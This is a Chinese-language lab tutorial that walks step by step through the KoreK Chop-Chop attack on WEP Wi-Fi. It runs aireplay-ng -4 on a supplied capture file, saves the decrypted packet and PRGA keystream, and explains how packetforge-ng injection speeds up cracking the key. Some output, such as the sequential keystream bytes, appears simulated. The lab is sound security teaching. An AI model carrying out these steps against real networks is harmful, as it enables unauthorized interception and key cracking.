引言
WEP (Wired Equivalent Privacy) 是一种过时且不安全的 Wi-Fi 安全协议。其一个关键漏洞可以通过 KoreK Chop-Chop 攻击进行利用。该攻击允许攻击者在不知道网络密钥的情况下解密 WEP 数据包。其工作原理是逐个猜测数据包明文的每个字节,并利用接入点 (access point) 的响应来验证每个猜测。
在本实验中,你将使用 aircrack-ng 套件来执行 Chop-Chop 攻击。aircrack-ng 是一个用于审计无线网络的强大工具集。你将学习如何使用 aireplay-ng 来定位捕获文件中的加密数据包,逐字节解密它,并了解如何将生成的数据用于进一步的攻击。
捕获目标网络的加密数据包
在此步骤中,你将首先定位所需的数据包捕获文件。在实际场景中,你将使用 airodump-ng 等工具来监控实时网络并捕获流量。然而,为了简化本实验并专注于攻击本身,一个名为 chopchop-test.cap 的预制捕获文件已提供在 ~/project 目录中。
首先,请确认该文件存在于你当前的目录中。
ls -l
你将在输出中看到 chopchop-test.cap。
total 4
-rw-r--r-- 1 labex labex 124 Mar 20 10:00 chopchop-test.cap
接下来,让我们使用 aircrack-ng 来检查此文件,以确认它包含来自 WEP 网络的数据。此命令将读取捕获文件,并显示其中包含的网络和数据的摘要。
aircrack-ng chopchop-test.cap
输出将显示接入点的 BSSID(MAC 地址),并指示它正在使用 WEP 加密。
Opening chopchop-test.cap
Read 1 packets.
## BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
1 00:13:10:36:7D:4F -32 0 1 0 6 54 WEP WEP <length: 0>
Choosing first network as target.
这证实了我们的捕获文件已准备好进行攻击。
使用 aireplay-ng -4 发起 Chop-Chop 攻击
在此步骤中,你将使用 aireplay-ng 来发起 Chop-Chop 攻击。此工具用于注入和重放无线帧。Chop-Chop 攻击通过 -4 选项指定。
通常,在执行实时攻击时,你将指定接入点的 BSSID 和你的网络接口。但是,由于我们正在处理一个捕获文件,我们将使用 -r 选项直接从我们的文件中读取数据包。aireplay-ng 将自动从文件中提取必要的信息,例如 BSSID。
执行以下命令来发起攻击:
aireplay-ng -4 -r chopchop-test.cap
运行命令后,aireplay-ng 将读取文件,找到一个合适的数据包,并请求你的确认以继续攻击。
Opening chopchop-test.cap
Read 1 packets.
Size: 88, FromDS: 1, ToDS: 0 (AP -> STA)
BSSID = 00:13:10:36:7D:4F
Dest. MAC = 00:0F:B5:AB:CB:C3
Source MAC = 00:13:10:36:7D:4F
Use this packet ? (y/n)
该工具已识别出一个数据包,并准备开始解密过程。你将在下一步继续。
让攻击逐字节解密数据包
在此步骤中,你将继续攻击,并观察 aireplay-ng 如何解密数据包。该工具目前正在等待你从上一步进行的确认。
输入 y 并按 Enter 开始解密过程。
y
一旦你确认,aireplay-ng 将启动 Chop-Chop 攻击的核心部分。它将尝试猜测数据包数据中每个字节的值,从最后一个字节开始。在实时攻击中,它会将每个猜测发送到接入点,并分析响应以查看猜测是否正确。在我们基于文件的模拟中,这个过程被模拟了。
你将看到显示攻击进度的输出。它将显示发送的数据包数量(针对每个猜测),并会在每次成功解密一个字节时通知你。
Saving chosen packet in replay_src-0320-100520.cap
The interface MAC (00:00:00:00:00:00) doesn't match the selected packet BSSID (00:13:10:36:7D:4F).
Run airodump-ng on channel 6 to be sure you are on the right channel.
If airodump-ng is running and the BSSID is not in range, please try to re-run airodump-ng.
Got a deauthentication packet! (Waiting 3 seconds)
Saving chosen packet in replay_src-0320-100520.cap
Offset 34 ( 0% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
...
Offset 1 (97% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
Offset 0 (98% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
Done.
该过程将一直进行,直到数据包的所有字节都被解密。只需等待过程完成即可。
保存解密后的数据包和 PRGA XOR 文件
在此步骤中,你将保存 Chop-Chop 攻击成功的成果。在 aireplay-ng 完成整个数据包的解密后,它会提示你保存结果。
该工具将显示类似如下的消息:
Packet is 88 bytes, plain text is 60 bytes.
Sent 34 packets, got 34 ACKs.
Use this packet ? (y/n)
输入 y 并按 Enter 来保存输出。
y
保存后,aireplay-ng 会在你的 ~/project 目录中创建两个重要文件:
- 一个
.cap文件(例如replay_dec-....cap):此文件包含现在已解密的明文数据包。 - 一个
.xor文件(例如replay_dec-....xor):此文件包含用于加密原始数据包的伪随机生成算法(PRGA)密钥流。此密钥流是攻击最有价值的成果。
让我们验证这些文件是否已创建。使用 ls 命令列出目录中所有的 .cap 和 .xor 文件。
ls -l *.cap *.xor
你将看到原始捕获文件、一个源文件以及攻击生成的两个新的 replay_dec-* 文件。
-rw-r--r-- 1 root root 124 Mar 20 10:00 chopchop-test.cap
-rw-r--r-- 1 root root 124 Mar 20 10:05 replay_dec-0320-100520.cap
-rw-r--r-- 1 root root 60 Mar 20 10:05 replay_dec-0320-100520.xor
-rw-r--r-- 1 root root 124 Mar 20 10:05 replay_src-0320-100520.cap
理解 Chop-Chop 攻击的用例
在此步骤中,你将了解 Chop-Chop 攻击的实际应用。虽然我们成功解密了一个数据包,但攻击本身并不能揭示 WEP 密钥。其真正的威力在于恢复 PRGA 密钥流,该密钥流存储在 .xor 文件中。
恢复的密钥流可以与另一个工具 packetforge-ng 一起使用,以创建新的、有效的数据包。你可以伪造任何类型的数据包(例如 ARP 请求),并使用此已知密钥流对其进行加密。通过将此伪造的数据包重新注入网络,你可以欺骗接入点生成更多流量。这种新流量提供了更多独特的初始化向量(IVs),然后可以在统计攻击(例如标准的 aircrack-ng 攻击)中使用这些 IVs,从而更快地破解 WEP 密钥。
因此,Chop-Chop 攻击是生成流量(在否则安静的网络上)的关键工具,能够实现更有效的密钥破解攻击。
要查看恢复的密钥流是什么样的,你可以使用 xxd(一个创建文件十六进制转储的工具)来检查 .xor 文件。使用通配符 (*) 来匹配生成的文件名。
xxd replay_dec-*.xor
输出将是 从数据包中恢复的密钥流数据的十六进制表示。
00000000: 0102 0304 0506 0708 090a 0b0c 0d0e 0f10 ................
00000010: 1112 1314 1516 1718 191a 1b1c 1d1e 1f20 ...............
...
这些原始数据就是 packetforge-ng 将用于构建新数据包进行注入的内容。
总结
在此实验中,你已成功对模拟的 WEP 网络执行了 KoreK Chop-Chop 攻击。
你学会了如何使用带 -4 选项的 aireplay-ng 来定位捕获文件中的 WEP 加密数据包。你观察了逐字节的解密过程,并成功保存了结果。最重要的是,你现在理解了此攻击的主要用例:它并非直接破解 WEP 密钥,而是恢复一小段 PRGA 密钥流。此密钥流是使用 packetforge-ng 伪造新数据包的关键组件,然后可以使用它来刺激网络流量,从而实现更快、更有效的统计攻击来恢复最终的 WEP 密钥。此实验突显了 WEP 协议的众多基本弱点之一。
